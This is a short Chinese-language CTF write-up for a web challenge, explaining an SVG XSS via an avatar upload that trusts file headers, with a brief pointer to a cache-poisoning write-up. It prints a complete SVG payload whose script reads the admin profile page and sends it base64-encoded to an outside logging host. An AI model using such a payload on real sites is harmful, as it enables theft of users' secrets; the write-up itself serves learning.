这道题是之前在看先知的文章看到了,看了一下发现有点有趣,记录一下
题目
地址:http://web50.zajebistyc.tf/
预期解是svg xss,非预期是缓存投毒
首先我们先看一下题目,进去是登录框,随便乱填就可以进去
进去以后有一个头像上传的地方和secret
的值,猜测应该是拿到管理员的secret
值,然后利用点应该就是头像上传的地方了
SVG XSS
在测试的过程中发现可以上传任意后缀的文件,但是文件头必须是图片格式且尺寸只能是100*100,而且上传html文件时发现服务器会将文件当做图片解析,因此后台应该是根据文件头去进行解析的,所以我们可以找一个可以进行xss的图片,也就是svg
原理参考: https://www.hackersb.cn/hacker/85.html
payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>
var xmlhttp = new XMLHttpRequest();
var response;
xmlhttp.onreadystatechange = function() {
if (4 == xmlhttp.readyState) {
if (200 == xmlhttp.status) {
location.href='http://onsdtb.ceye.io?'+btoa(xmlhttp.responseText);
}
}
};
xmlhttp.open("GET", "/profile/admin");
xmlhttp.send();
</script>
</svg>
缓存投毒
这里贴一波国外的师傅的writeup:https://ctftime.org/writeup/13925
因为这个考点触及到我的知识盲区了,肉鸡决定研究一下